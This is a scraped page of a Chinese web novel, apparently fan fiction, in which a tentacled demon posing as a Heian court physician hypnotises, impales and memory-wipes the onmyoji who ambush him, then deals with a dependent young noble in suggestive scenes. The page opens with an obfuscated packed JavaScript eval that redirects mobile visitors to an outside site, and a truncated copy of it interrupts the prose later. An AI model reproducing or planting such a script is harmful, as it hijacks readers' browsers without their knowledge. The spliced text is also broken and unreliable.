;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17383488|199239||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 清楚的违和感。 “我说……我们才抓过他,他又这样迅速地得宠了,该不会报复吧?” “哈哈……应该不会吧。” 最后再卜一卦。 沐浴,焚香。 贺茂宪通跪坐在案前。 他没有点灯。房间里很安静,只有他自己的呼吸声,和偶尔转动指针时发出的细微摩擦声。 他已经在这里坐了两个时辰。 和清空相关的东西,被压在式盘下。除了衣物、药物,还有上次羽织燃烧后的灰烬。这是好不容易收集来的。 他把铜镜放在式盘中央,用手指蘸了清水,在镜面上画了一道符。 卦象变化起来。 一炷香后,他面色极差地站起来,脸色迅速地灰白下去。 “诅咒之王。和诅咒之王,有关系。” “……” …… 清空:“你快要痊愈了。” 月彦:“……” 清空颇有些期待地看着月彦。 小少爷却偏过头,一副很是不悦的模样:“你就这么期望拿到房契么。” “为什么不想?”清空装出人类的笑容,“我努力了很久。你也应该高兴些,变健康了,还有官职了呢。所以你什么时候搬出去?” 月彦:“……” 他是在物色新屋。 暂时并不想回主家大宅住。 月彦打开手中折扇,半掩面:“你尚未购置车马,与其步行上朝,不如明日同我一起。” 清空:“噢。你是好人。我明天下班去看看怎么买。” 月彦见他并未意识到两人同坐一辆车上朝意味着什么,便点点头。 “那么,便开始吧。”清空伸出手。 将药毒排出,月彦已经习惯了。但这一次,清空没有像以前那样倒数。 “你自己来。”清空说。 月彦愣了一下。 “从十开始倒数。”清空的声音很平静,且冷漠,“数到一的时候,就放松。” 月彦看着他,嘴唇动了动:“你这也懒?” “忙。”清空叹息,高强度的工作经历让他看起来有了一丝倦怠,“我迟早会辞了典药寮的工作。” 真是完全不在意自己受到的恩宠。 虽然月彦自己也不在意。他如今经营,更多是为了复仇。 他咬咬牙,深吸一口气。 “十。” 声音很轻,在浴室里回荡。 “九。” 手指攥紧了浴桶边缘。 “八。” 腿在发抖,皮肤在发烫。 “七……” 他的声音开始不稳。 “六……” 很糟糕,大脑开始期待倒数结束后。舌头几乎不受控制,甚至整张脸都有些发麻发僵,又像是被抽了筋骨,使不出力气了。 他低着头,机械式地念着接下来的数字。 除此之外,无法思考其他。 可是,什么都没有发生。 他仰起头,求救似的看过去。 清空歪头。 他伸手捂住月彦的眼睛,另一只手按上他的小腹,印记还留在那里。 如今月彦基本痊愈,是该把印记带走了。 长得有些深,很难祓除。印记深入骨髓,抽走是一定会疼的。 他轻轻抚着,思考该如何办,仍然遮着月彦的眼睛。 直到怀里的人将腰塌下去,晃了晃脑袋,拧身质问他:“你到底、到底要玩多久!快让我——”没必要的话,他真不想说话。 月彦混沌地想,难道他一定要听清空说话才有用吗? 清空:“不是已经可以了吗?我以为你自己要忍着。” 听见他话语的瞬间,月彦瞬间绷紧了腿。 清空便也顺手将印记,拔栓子似的,抽走了。 第一次见面时,月彦还是纸一样薄的少年,身上都没什么肉,一层皮包骨。 如今两个月的治疗下来,他身上很明显添了些肉,虽然仍然纤瘦至极,却没那么病态了。那双此刻因失神而泛起水色的漂亮眼睛,也不会时时泛起怨毒了。 更重要的是,生来就有的体虚多病,已经几乎消失。那缠绕他十几年的、活不过二十岁的诅咒,如流水般逝去,溅在地上一并冲走。 治这么一个人,清空还是很有成就感的。 两个月工作,换一套房。 愉快。 “恭喜,你不再需要医生了。” 他弯着眼,真情实感地道喜。 虽然。 他不知道月彦此刻能不能听清他说话。 15. 第十五章 诅咒之王。 这是个很有分量的词。 哪怕他并不在平安京附近活跃,只是自己圈了一块儿地方,在妖魔之中,算是安分守己。 但记载中,有不少正义之士曾尝试灭杀诅咒之王,结果全都失败。部分人死了,部分人怀揣着重重代价回来。 那代价非常重大。 十月怀胎生个崽,不论男女都可怀。 抛开这种恶俗诅咒,诅咒之王本人也异常强大,去过的人很多,连深浅都摸不出来,大部分都被他麾下之人打败。少部分见了本人的,就……倒霉了。不过最近十几年,诅咒之王似乎已经沉寂,很久没有出来活跃,甚至有传闻说,四手两面的怪物成为了新的诅咒之王。* 或许是涉及的人物太过强大,卜卦的结果非常模糊,只能勉强算出,清空和诅咒之王有关系。 得出这个结果,占卜的贺茂宪通都快消耗了半条命,脸色灰白,久久没恢复。 往好处想,也许清空是诅咒之王带来的孩子——根据记载,遭到那种诅咒的人所诞下的幼崽,均为正常人,纯种人类。 以清空年龄来看,也对得上。 往坏处想,清空这人其实是诅咒之王麾下的邪魔,很强,所以伪装没被发现。 所以诅咒之王这是准备攻打平安京了? 贺茂还想继续占卜一次,看看清空对诅咒之王的态度,来判断他们的关系性。 结果才起卦,他就吐血了。 不能再占了。 必须立刻上报。 然而…… “仅有占卜卦象,有些武断啊……”有公卿如是说。 绝大部分人,竟是并未认同这次占卜。 贺茂宪通只好将希望寄予在最上方。 “卿等……忠勤可嘉,观星卜筮,劳苦了。”声音停顿了一下,仿佛在斟酌词句,“其入宫以来,言行尚属恭谨,亦曾为朕解过些许烦忧……” “此事……干系非小。卿等所言,朕已知晓。然无确凿罪证,仅凭星象卜兆,便疑忌方外之人,恐非仁君之道,亦失朝廷体统。此事,容后再议吧。且退下,多加留意便是。” 话语委婉暧昧,却拒绝了他们将清空再度抓捕的提议。 秘密召开的小会结束后。 身旁的阴阳博士似乎想要说,贺茂宪通抬手制止。 直到彻底离开后。 才有人说:“观那些表态之人,都请那妖魔为自己诊断治疗过……该不会……”要真是如此,那问题就非常严重了,因为宫内众人乃至皇家,全都和清空接触过。 贺茂宪通:“你看得出问题吗?” 对方摇头。 “干系重大,我们反复查了十数次,仍然没有任何异样。若真是他做了什么手段……” 那他们就完蛋了。 可以无形中控制这么多人,当然也可以一下子取走所有人的性命。 “那……难道就不管了?” 贺茂宪通摇头:“当下最要紧的,是拿到切实的证据。联络上愿意帮助我们的人,去……” …… 几日后。 清空没想到在朝廷上班,还会有团建活动强制参加。 当下崇佛,佛教相关的法会办得相当盛大,甚至可以直接在宫内举办。 原本庄严的宫殿被改造成临时的大伽蓝,幡幢华盖,轻轻摇曳。灯火香油,金碧辉煌。雅乐伴奏,诵经礼佛。 清空跪坐在角落,昏昏欲睡。 想辞职了。 唯一的好事,大概就是这种团建活动,是官家出钱请客。休息时,可以去另一座宫殿,享用精美料理——嗯,比平常吃的精美。 生鱼脍、烤鹤、雉羹、唐果子、蜜柑、柿子,还有酒和舞乐。 吃东西的时候,清空心情就好一点,他只挑了肉食。 然而不知道是不是他最近有些太过火了,总有人试图来和他搭话,叽里呱啦地说一些触手不想听的奉承话。 清空:“请问,君有疾否?”搞得他都会叽里呱啦的那种语言风格了。 “没病,不聊天。”他摆摆手,“能不能只聊工作的事?” 月彦在一旁,没忍住笑。 不过到底是庄严的场合,他笑得很委婉,半掩着面。 “你该去学学如何说话的。”他小声对清空说,“真不知你从哪儿学来的这些语法、词汇。” 古怪且粗鄙。 “这是藤原氏主持的法会。”月彦随口介绍了些,他看得出来清空大脑放空了。 他倒是很高兴清空只和他聊天,这样一来,他们的关系更加绑定了,就算清空自己不说,别人也会默认他是自己这一派的。 法会要办好几天。 极尽奢靡,不知要耗费多少钱财。然而结束后,也就是一地的狼藉,蜡烛一一熄灭,烟灰的味道和香油的味道混合在一起,没吃完的飨宴和开始枯萎的花供,发出一种不新鲜的味道。 贵族们离开的时候表情神圣而满足,天皇也不会瞧见乱糟糟的打扫画面。 清空:“我鼻子有点难受。” 月彦点头。 他也一样。治好之后,他浑身上下的五感都强烈了数倍,衣服都只能挑最柔软的穿。 两人是一同坐着月彦家的车前来,离开的时候,自然也是要一起。 但清空却顿了顿:“我想再看一圈,走走,坐得身体都僵硬了。” 月彦:“法会时昏昏欲睡,结束却起兴致,你这人真是……” “你也要多运动,虽然痊愈了,但要是又恢复以前的生活习惯、作息,会很虚弱的。”清空嘱咐着,又说,“从我家搬走的时候。要不要抱两只兔子走?” 月彦重复道:“你家。” “我家。” 参加法会要着华服,然而华服一层叠一层,不便行走,而且大部分贵族体弱,走两步就喘气、需要人服侍。清空虽然不觉疲惫,却讨厌身上太多衣物,见四下无人,忽然将身上外衣脱了,披在月彦身上。 脸上倒是很正经:“你多穿点。” 月彦:“……不识礼数。” 衣服好重。 结束医患关系后,他觉得清空这人有时候还蛮恶劣的。 出宫殿,不远便有佛堂。 庙宇也很多。 清空自顾自地走进了一座庙。 刚结束大法会,人都是疲惫,因此庙里有些冷清,只燃着香烛。月彦只觉得他什么都感兴趣,像是没见过新东西似的。 比他这个才痊愈,好不容易接触到外界世界的人,还要好奇。 “这世界上真的有神佛吗?”清空忽得有些好奇了,“还没有见过呢。” 月彦是完全不信的,但说出这种话,是为大逆不道。他此刻累得慌,法会也是件体力活的事儿。 他既不承认,也不否决,只淡淡抬头看了一眼。 若世上真有神佛,那他何必受十几年的病苦。 清空忽然问:“你最近,是不是在忙着杀人。” “……”月彦平静回答,“你看我大病初愈,像有力气的人吗?还是说,你要在这里责备我当日的言行?” 神像庄严,低眉敛目。 月彦心想,就算他正在做那些事,也没见这些东西开眼。就算真有神明,也说明他的行为根本不是恶行,是合理报复。 清空摇摇头,说:“你先回去吧,我要逛逛。” “你衣服……” “你放我家里,反正你也要回去收拾自己的东西。” 就差把“快搬家”写在脸上了。 月彦也不乐意在这种地方逛,他颔首,离开。 清空扯了扯衣领,觉得难受。 华服也没好看到哪去,特别难穿,没有别人帮助几乎无法穿上。 庙宇里安静得有些过分了。 清空是第一次体验到什么叫埋伏,所以他刻意等了一会儿,等待人们出来。 还挺多的。 阴阳师,僧侣,巫女。 好像都和神职有关系。 …… 这便是能找来的全部人了。贺茂宪通如是想。 莫名的,他有种不好的预感,压力很大。 阵法,符咒,全都准备好了,万事俱备,这里又是他们的主场。 等到今天才动手,也是有原因的。 若清空真是妖魔,那么持续七天的伽蓝法会,肯定能削弱他一些——昏昏欲睡没准就是虚弱的证明。 看着佛堂下,被包围,却仍然表情平静的青年,他喝问: “你究竟是何人?” 清空:“看你问的是哪种方向了,目前来说,是典药寮的医学博士。” “你……和诅咒之王,是什么关系?”问出来的时候,贺茂还有些犹豫。 “嗯……” 原来是父母恶名影响他仕途。 清空思考者,原来原生家庭糟糕还会带来这种影响,父母比较差劲,会影响到他无法入宫行医吗? 于是,他选择不谈:“是前上司的关系,我以前替他工作。” 贺茂脸色剧变,最糟糕的可能性出现了,清空真的是诅咒之王麾下的妖魔。 清空看他脸色更差,有些后悔。 原来不只有家庭会影响仕途,工作履历也会。 贺茂宪通又问:“你到底使了什么妖法、用的又是何种邪药?” 清空还是很诚实的:“催眠,常识改造,药是我的血液制成。” “你竟敢——” 对面开始吵闹起来。 清空自顾自地走到佛像下,贡品繁多,可惜全是素的。 他拈起一个蜜柑,剥了皮。 后腰靠在供桌上,又将衣服领子拆了拆,很是随意。 “我用自己的血肉,医治病人,有什么问题吗?虽然这样说有自夸的嫌疑,但我其实是十成十的好人呢。” 一直很遵守规则。 相比较他认识的长辈们来说。 “妖物!蛊惑人心还狡辩!” 清空尝了一片橘子。 嗯,不好吃。他果然还是不爱吃素食。 他站在佛像前,那是新塑的佛像,上面裹了金箔,在蜡烛下显得金碧辉煌。 猩红的触肢从他身上蔓延,像蛇一样扭动,缠上供桌烛台,把贡品推翻。佛像的脸被暗红色的触肢半遮住,眉眼低垂,在阴影里像是坠了一颗血色的泪。 “我和妖怪,没什么关系。”他语气平静,“非要说的话,我是纯粹的魔物。” 满堂寂静。 “而且,我没有蛊惑别人。除了不听医嘱的病人以及病人家属,我不会对普通人催眠。” 有阴阳师颤声闻:“那为什么——他们如此偏袒你?” “因为那是假的嘛。”清空把手中的蜜柑硬生生吃完了,没浪费食物,“我尝试了一下把你们催眠,就这么简单。” 阴阳师们当然查不出权贵们身上的异常,用尽手段都不会有结果,因为他根本没给那些人下暗示。喝的药也全都是正常调配。 从始至终,他都是对有力量的人下手。 “怎么可能!” “为什么不可能?其实我一开始也很担心,我总觉得自己太弱小。”清空看向自己的手,抬高了手臂,从指缝里看众人,“没想到,你们比我更加弱小。” 随随便便就催眠了,信了幻象,以为天皇和权贵们都在保护他。然后努力把人团结起来,全都暴露在他面前。 “我想要好好在人类世界生活一下的,但我又不喜欢麻烦。” 他慢慢地提起唇角。 “现在能一次性处理了,会很方便。” …… 月彦走得很慢。 他其实没告诉清空,自己仍然有些身体不适。 和过去的病,都没有关系。 他总觉得……自己小腹里空空荡荡的。 自从清空宣布他痊愈,并消除了他肚子上的印记,这种诡异的空落感就出现了。像是有蚂蚁在血管里面爬、啃噬,带来一阵阵的疼痒。 他捱了几天下来,不适感也没有消退,反而愈演愈烈,只有和清空靠近的时候才不会难受。 清空的衣服披在他身上,他取了下来。 那上面并没有多少清空本人的气息,毕竟是喜欢活得像野人一样的家伙,若非法会要求、天皇赏赐,怕不是永远见不到清空着那么复杂的衣裳。 月彦用手捻了捻衣服,见侍女葵早已等待在外,他将衣服扔给对方。不必言说,侍女会叠好。 又说:“我回去一趟。” 他必须问清楚,身上难受的感觉是什么,是后遗症的话,就得找庸医算账。 庙宇有些古怪,极其安静。就算是法会结束,也不该完全没有僧侣才对。 他直觉不太对,但身上难受得紧,催促他快点找到清空质问。 他来到大殿。 远远的,便瞧见两片残破的符咒落在地上。 月彦一顿。 佛堂里一团糟,蜡烛只剩下一点,诡异的触肢缠绕在每一个地方,像是帷幔,从天花板上垂落。 供桌上的东西都被扫落了,清空坐在上面,屈着一条腿,姿态随意,上衣被他解开,露出一小片胸膛,布料层叠地堆在腰间。 除此之外,还有很多人。 有的月彦认识,有的不熟,却也知道那些都是神官。 他们全都……全都没了声息,被血红的触肢捅了个对穿。 贺茂宪通被串着提到清空面前,神情依旧平静的清空对着他说:“放心,你们不会死,把剩下的知情人告诉我吧,我一次性解决。” “不、不会死?”贺茂像是吓坏了,不停发抖,他扫视一圈,凄惨地笑了半声,“那你在做什么?” “半死不活会比较方便催眠。”清空非常坦诚,“我把你们的记忆改一下,以后别来找我麻烦。” “哈、哈……那你可真是个好怪物。” “是的。”清空又说,“我杀过的人,应该比你们杀过的要少。” “我杀过人?” “不是你,是你们。我觉得你们自己也挺爱杀人的呀,前些天我家的仆从都只剩下一个了。我有时候觉 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巨大的恐惧灌满了他的四肢百骸,连呼吸都忘了,胃部猛地痉挛,他干呕了一下。 “呃……呃、啊……”喉咙里发出意义不明的气声。 触肢却卷住了他的脚踝,温凉的触感,轻轻地往后拖了一下。 他应激似的蜷起身体。 清空:“诶……你扭到脚踝了。” 他治疗外伤相当顺手,轻轻松松就把人的脚踝治好了。 又强行把人提起来,摆正了,掸了掸他身上的灰。 “我不想有人看见这里的事。” 听见他说这话,月彦的理智彻底崩坏了——他大概、大概是要被灭口了—— 眼泪下意识滚了出来,完全是求生的本能,他身体里不知道哪里爆发出一股力气,挣开了扶着他的触肢。 纤瘦的手指,抓住他身上的布料,口齿竟忽得清晰起来:“别杀我,我不会说出去,求你,求你……别杀我……” 他跌撞过去,几乎是手脚并用地挂在清空身上,双臂死死地、痉挛般地箍住清空的腰背,十指用力到指节发白,隔着衣物都能感受到那绝望的力道。 那张总是带着几分矜持和病弱的俊美脸庞,被恐惧彻底揉碎了。泪水像断了线的珠子,汹涌地从那双漂亮的、此刻因惊恐而圆睁的眸子里滚落,在他苍白的皮肤上划出狼狈的水痕。 眼睫被泪水浸得湿漉漉,一簇簇地黏在一起,每一次眨眼都带下更多的泪珠。 原本色泽浅淡、形状优美的唇瓣此刻毫无血色,剧烈地颤抖着,无法控制地张开,发出破碎的、不成调的呜咽和抽气声。 清空垂眸,看着怀里这具因为过度惊吓而完全失控的躯体。 他微妙的……有些饿。 “我不杀人。”他叹息,今天说了超级多次的话,再度重复,“我也不吃人。反正从来没吃过。” 他抱住月彦,轻轻地拍着他的后背,像是以往排毒时那样哄他:“放轻松,不要太紧张,我只是不想你记得。来,看着我的眼睛。” “你会忘记的,不会痛苦的。” 他将人转过去,轻轻推了一下他的后背,附身在他耳边说:“慢慢走回去吧,葵在等你,不要又踩着什么摔了。回去睡一觉,什么都会好起来的。” 月彦背对着他。 浑浑噩噩地走着。 …… 他回了主宅。 回家后,几乎是立刻发了高烧,倒了下去。 醒了睡睡了醒,噩梦不断,三天后才清醒了些。侍女要将清空请来,他却听见这个名字就痉挛尖叫。 不过,清醒后,月彦又不太明白为什么了。 他只是不明原因的,有些抗拒见到清空,仅仅是想到,胃里就开始翻涌,手脚发凉。 月彦下意识地问侍女:“最近,有发生什么事吗?” 侍女摇头:“您指什么?” “贺茂家……” “倒确实有些事。” 月彦眉头一跳:“什么?” 侍女:“前天,贺茂大人带着侄女去拜访清空大人,带了礼物,最后抱了两只兔子回去。现在大家都说他们冰释前嫌了。” 因为清空晋升很快,大家都忍不住关注过,因此他曾经被阴阳师抓进大牢的事,也是全平安京的人都知道。 “这……就没别的事?” 不论月彦怎么问,得到的答案都是,一切如常。清空也每日都去典药寮,甚至还来问过他身体是否还好,又将月彦留在别院的东西全都送了回来。 这怎么可能呢?月彦想不通,怎么都还活着? 不……他怎么会下意识觉得有人死了? 也许是三天三夜的噩梦,弄得他有些乱了吧。是他自己疑心过重。但不论如何,他完全不想和清空接触了。 求生的本能在示警。 他是这样想的。 可当他喝了退烧的药,三日来第一次下床走动,觉得小腹有些胀,却无论如何,都无法排出时。 月彦觉得有些不妙。 …… 他试了很多办法。 没有任何用。 熬得翻来覆去,不知白天黑夜,几乎疯狂。 依然没有找到解决方法。 似乎只能去找清空了。 想起那个人,月彦只觉得身上下意识地战栗起来,后腰一阵酸软,挺起来又放下。他不敢喝水,又疼出了一身汗,愈发口干舌燥。 不想去……不知为何,他身体下意识地,将死亡和清空挂钩起来。 月彦没什么怕的,唯独恐惧死亡。 可是…… “葵……” 他声音沙哑地叫来侍女。 “大人。” “他是不是留了件衣服在这里?” 他没提名字,但侍女明白是谁:“是,清空大人并未取走。” “那是陛下赏赐给他的,他不知礼数,我们得把衣服还回去。”月彦咬着牙,“扶我起来,我亲自送。现在。” 已是深夜。 他艰难坐上车。 车轱辘转动着,他闭着眼睛,都知道,去别院要多久。 车轮每转一圈,他都更加恐惧,想要叫停返程,想要逃跑。 可他还是没有。 平安京有宵禁,检非违使注意到了车马,拦住询问,却见那位才痊愈不久,已经入朝为官的产屋敷家少爷,半掀起帘子,露出一张苍白的脸:“急于求医,望大人放行。” 有官职、有急病都是可以例外的。 帘子被放下。 只是很小的动作,说了两句话,月彦却累得小口小口喘息。 清空的外衣,被叠放整齐,上面是熏香的味道,属于那个人的气息,几乎彻底消失。 月彦将衣服紧紧抱在怀中,时不时的轻轻挣动身体,车厢里难免颠簸,让他难以忍耐。 侍女的声音传来:“大人,到了。” 16. 第十六章 马车停下时,月彦已经在车厢里坐了很久。 侍女在外面低声唤了两遍“大人”。 他的手还攥着那件外衣,叠得整整齐齐的,压在怀里,指节泛白。 下车。 他在心里命令自己。 可身体不听。 一方面,小腹里那种胀感已经到了令人发狂的地步,稍微动一下就翻涌上来,逼得他弓起腰,额头抵在膝盖上,无声地喘了几口气。 什么都试过了。 热水,揉按,那些从前生病时用过的偏方,甚至让侍女去药铺抓了利尿的方子——统统没用。身体像是一个被锁死的箱子,钥匙拔掉了,里面灌满了水,却无论如何都打不开。 另一方面……他怕清空。 怕得厉害。 月彦都不理解自己在怕什么,不论是自己的记忆,还是其他的一切,都显示他和清空关系不错,毕竟人治好了他的病,名扬平安京,破格招入典药寮,正是最红火的时候。 但身体不这么认为。 一想起那个名字,就发抖。从脊椎开始,一路往下,蔓延到四肢,把那层胀感搅成更复杂的、说不清道不明的东西。 月彦深吸了一口气,掀开车帘。 夜风灌进来,凉飕飕的。 别院他是很熟悉的,此前住在里面,后面身体恢复了些,进进出出也不知多少次。 可现在,他竟是第一次如此仔细的观察别院的大门。清空没有点灯,周遭黑漆漆的,也格外安静——月彦搬走后,清空应该是没有养其他的仆役。 围墙后,仿佛盘踞着某种活着的、不是人的东西。 求生的本能又在跳动了,此时此刻,转身离开,应该是最好的选择。可他身体…… 没有锁门。 侍女先敲了敲门,现下已经是深夜,不能指望里面的人还醒着。她侧身,等待月彦的命令。 正常来说,按照少爷和清空医师的关系,直接进去也可以。 月彦点头,推门而入。 院子里的景象和记忆中没有太大出入。今夜无月,星子在阴云间时不时闪烁。 月彦的呼吸变急了些。他快步穿过院子,脚下的木屐踩在青石板上,发出清脆的声响。 清空的房间,他是知道在哪的。 可马上要到了,他又倏然犹豫下来。 看向身旁的侍女:“你和他,挺熟的吧?” 他依稀记得,在厨房的时候,葵会帮清空打打下手,喂养兔子、锦鲤之类的事情,也是葵在负责。 月彦扬了扬下巴:“你去敲他门,去把他叫出来。” 葵没有犹豫地往前去了,靠近门,敲了敲:“清空大人?” 她并没有看见,身后隐没在阴影里的月彦,表情多么的惊疑不定。 “直接开门。”月彦命令道,“也许他睡着了。” 侍女推开门。 有那么一瞬间,月彦几乎觉得自己耳朵里嗡了一下,好像一下子就不能思考了。他心跳得极快,在逃跑和留下之间挣扎,整个都僵着。这样半夜闯入别人房子,擅自打开对方卧室,无疑是极其冒犯的。 “清空大人不在。”侍女的声音传过来。 月彦猛地松了口气。 小腹里的胀感却又涌上来,这次比之前更猛烈,逼得他弯下腰,一只手撑在梁柱上。汗湿的掌心碰到木头,竟然是窜起一股麻痒,激得他打了个颤。 人去哪了? 难道是半夜有急诊、出门去了?还是说……根本就已经放弃了这个房子。 身上难受得紧,微妙的恐慌和焦躁,最终汇聚成了找不到人的愤怒。 都是清空的错,若不是他,怎么会在痊愈后又发烧,还没法自行…… 月彦咬着牙:“再找找。” 万一有的蠢货半夜在种地呢? 不过他实在是没力气了,只能驱使侍女去寻找。偏偏他出门又只带了这么一个人。 葵虽然听话,干活又熟练,但要她一下子逛完偌大的、层层叠叠的院子,找到人在哪,几乎是不可能。 实在是太慢了。 他忍不住责怪起来。 “月彦大人,找到了。” …… 清空其实早就发现有人来了。 他这几天一个人住,爽得不行,在家都不必点灯,甚至都不必穿衣服,把人皮也一并去了,晃着触肢乱爬,活得像个野生动物,用触肢标记自己的新家。 这个房子完完全全属于他了。 这可是寸土寸金的平安京! 当然,放纵过后,还是要重新当人的。 清空并不打算真的一个人住的院子很大,虽然他用触肢打理起来很简单,可这样一来,难免会有人觉得不对劲。 他打算请一些杂役。 当下,礼佛之气盛行,天皇慈悲,不愿见杀生,集市上不能将牛羊猪之类的牲畜买卖,也不可宰杀。 但,没说不能进行人的买卖。 集市上光明正大买卖不太行,可是私底下卖来卖去的,到处都是。 清空不太理解,同为人,为何会分良贱。贵族可以随意转让自己手底下的奴仆,处置了也不会有什么惩罚。 城里的规矩真是格外多。 清空一边规划,一边在池塘里面泡着。 他露出了本体,血色的触肢在水里铺开,自由自在地玩了一会儿。 触手都是很爱水的。 玩着玩着,家里来人了。 清空紧急把所有的触肢都收回去,自己趁着夜色跑进浴室,往浴桶里放了水,假装正在洗澡。 葵靠近的时候,他假模假样叫了声:“是谁呀……” 努力装了装惊慌失措。 月彦怎么会突然过来?清空知道这小少爷前几天发烧了,原因大概是被他吓坏。 本来想要帮忙,结果他靠近就会引发月彦的挣扎,哪怕人根本没醒。而且他也把记忆都抹掉了。 月彦的求生本能实在是强烈。 清空觉得,月彦这人什么都不怕,唯独是特别怕死。 他本来觉得,月彦可能很久都不会来找他了。 正想着,人过来了。 月彦出现在门口,迟疑道:“你不点灯?” “我夜视能力很好的,而且也节省。”说完,清空伸出一只湿漉漉的手,努力点着了蜡烛。 月彦就站在最外面。 烛火昏黄,把他的影子拉得又长又淡,投在身后的地上,像一摊化开的水渍。 似乎来得很急,身上只一件单薄的寝衣,裹了件外套,被夜风一吹,贴在他身上,勾出仍然瘦削的轮廓。几缕黑发垂在脸侧,衬得那张脸越发苍白。 眼尾微微的有些发红,像是连日发烧导致,又像是才哭过。眼睛里有恐惧,深深的、刻入骨髓又分外迷茫的恐惧,仿佛自己也不知道为何要怕。 可他偏偏又倚靠在门口,说出求救的话语:“我很难受。” 他偏过头,躲开清空的视线。睫毛在脸颊上投下一片扇形的阴影,轻轻地发抖。 清空歪过头,将下巴尖抵在浴桶上:“外面冷,先进来说话吧。” 他打量月彦的时候,月彦也在打量他。 那张脸依旧带着惯有的、平静又无辜的探究神情,湿漉漉的的发丝贴着额角,水珠顺锁骨滑下,没入水面,肌肉的轮廓在晃动的水里若隐若现。 每一颗小水珠都映着烛光,亮闪闪的,宛如佛像上新贴的金箔。 月彦忽然感到有些不适。 可等他回过神,又觉得眼下的场景十分正常,清空确实不爱点灯。而且看着……也是十成十的人类身体。 他讨厌的、健康充满活力的躯体。 月彦走进去,翻涌的胀痛已经化作灼热的麻痒,从脊椎窜向四肢。 熟悉的场景,已经令他想起之前的事。 啊、啊…… 已经…… 他脑中有什么抽离开去,羞耻到没有办法理智思考,又有一些支撑着他继续说:“我发了烧,醒来后,就没有办法正常……” 说着说着,那萦绕着的不安感消失了些,他又习惯性的责备他人:“你真的治好我了吗?怎留下这么严重的后遗症,你这个庸医。” 十分高傲的语气,却因为挥之不去的恐惧而软绵绵的,像只随时要弓背炸毛的猫。 “你不要随便污蔑我。”清空不高兴了,“我怎么会治不好人?” “你想想,我给平安京多少人看过病、开过药?所有人都很正常,只有你这样说我。这次绝对是你的问题。” 医患关系结束了,清空才不哄着人呢。 “你——”月彦实在是没力气和他拉扯。 在这个场景里,他就已经要受不了了,何况清空还泡在水中,时不时的动作就带出水声。 他急促地吸了两口气,所有的话语都咽了回去,只留下一句:“帮我。” “我拒绝。” 月彦眼神空白了。 他从来没有想过,自己深夜前来,放低身段恳求,会换来清空一句拒绝。 竟敢——竟敢拒绝! “现在很晚了,我要休息的。” “医生哪能有休息时间!” 要不是实在走不动了,月彦几乎想要扑过去掐医生脖子,没看见他这个病人都快难受死了吗?! 他此前从未受过这样的委屈,作为贵族家的少爷,锦衣玉食,饭来张口衣来伸手,无数人围着服侍。夜里难受了,别说是民间的医生,就算是典药寮的御医,都得乖乖过来看病。 他气得要发疯,眼尾更红了,宛如一只恶鬼。 可他到底不是。 “帮我,你要什么我都会给你的,帮我……你是医生不是吗?”他低声地恳求着,“我没有办法了。” 清空从浴桶里翻身出来。 湿漉漉地洒了一地水,月彦瞳孔一缩,腿当场就软了,慢一拍才反应过来:“你没衣服穿吗?” “洗澡谁会穿衣服啊。” “不……你就没带换的衣服过来?” “没有。”清空那叫一个理直气壮,“现在就我一个人住,又没人看见。而且我也不会着凉。” 月彦:“……” 这个野人! 清空:“我不能帮你。” “为什么?” 清空离得近了,月彦的视线不受控制地往下滑了一寸,又像是被烫到似的弹回来,钉在墙角那盏摇摇晃晃的烛火上。耳朵尖烧得厉害,连带着脖颈都泛起一层薄红:“你这、真不合礼数。” 他好像这时候才想起自己拿了清空的衣服过来,把外衣扔过去。 清空接了,却懒得穿,只是随手挂起。 将蜡烛熄灭了。 “这样你看不见,就行了吧?”他又小声道,“我又不是没伺候过你洗澡。” 房间里落入一片漆黑,甚至比外面都黑。月彦本能回头看了一眼,却见那门合上,将最后一丝光线都锁在外面。 清空关的门?还是外面的葵? 身体在轻轻发抖。 他想起自己被蒙住眼睛的时候,什么都看不见,就可以假装那些狼狈的时刻不存在。 他想,清空到底还是会帮他的。 “我真不能帮你。”清空却重复了一遍,声音平淡,毫无感情,“月彦,你有没有想过,你以后怎么办?” 月彦愣住了。 “你发烧了,排不出来,来找我。下次呢?下下次呢?”清空顿了顿,“每次都要来找我吗?” 月彦张了张嘴,说不出话。 “你已经痊愈了。”清空说,“你的身体没有任何问题 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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清空的声音在黑暗中听不出情绪。月彦只能感觉到他在靠近,手指攥紧了衣袖。仍然没有得到解决,还徒增了几分恐惧,让他止不住晃动身体,试图转移注意力。 “你很怕我。”清空说。 月彦没有回答,只有呼吸稍稍急促了些。 叫他承认,因为噩梦就对清空产生强烈恐惧,他是万万不肯的。 黑暗里什么都看不见。只能隐约听见对方的呼吸,很轻,很稳,和他自己急促的喘息完全不一样。 “月彦。”清空喊他的名字。 月彦的呼吸顿了一瞬。那声音太近了,近到他能感觉到那微凉的气息落在自己脸上。 “你摸我一下。”清空说。 月彦愣住了。 “什么?” “我的手。”清空说,“你摸一下。” 黑暗里,有什么东西碰到了他的手背。凉凉的,指尖还带着没擦干的水汽。月彦的手指急促地后退,痉挛了一下,但马上就被捉住了。 “你摸一下。”清空又说了一遍,“就知道我是不是人。” 凉的。清空的体温要比常人低,他一直是知道的。 “我是活的。”清空说。 月彦没有回答。他的手指从清空手腕往上移,摸到小臂。那上面的皮肤是光滑的,紧绷的,能感觉到底下的肌肉。 不是梦里那些湿滑的、黏腻的东西,是人的皮肤。 而且摸得到一点心跳,迟缓的,比他慢很多的心跳脉搏,传递到他的指尖。 “再往上。”清空说。 月彦的手指停了一下,几乎没有思考,只是本能听从对方的话语。 摸到手肘,摸到上臂。那上面的肌肉要硬一些,像是一块被绷紧的石头。他想起清空第一次给他检查身体时,他伸手去打那个人,手腕被轻轻握住,怎么都挣不开。 又想起他抱着自己的时候。 这个医生是很有一身蛮力的。 手指继续往上,碰到肩膀。骨架比他大很多,底下的肌肉厚实,勉强感受到一点温热。不是纯粹的冷。 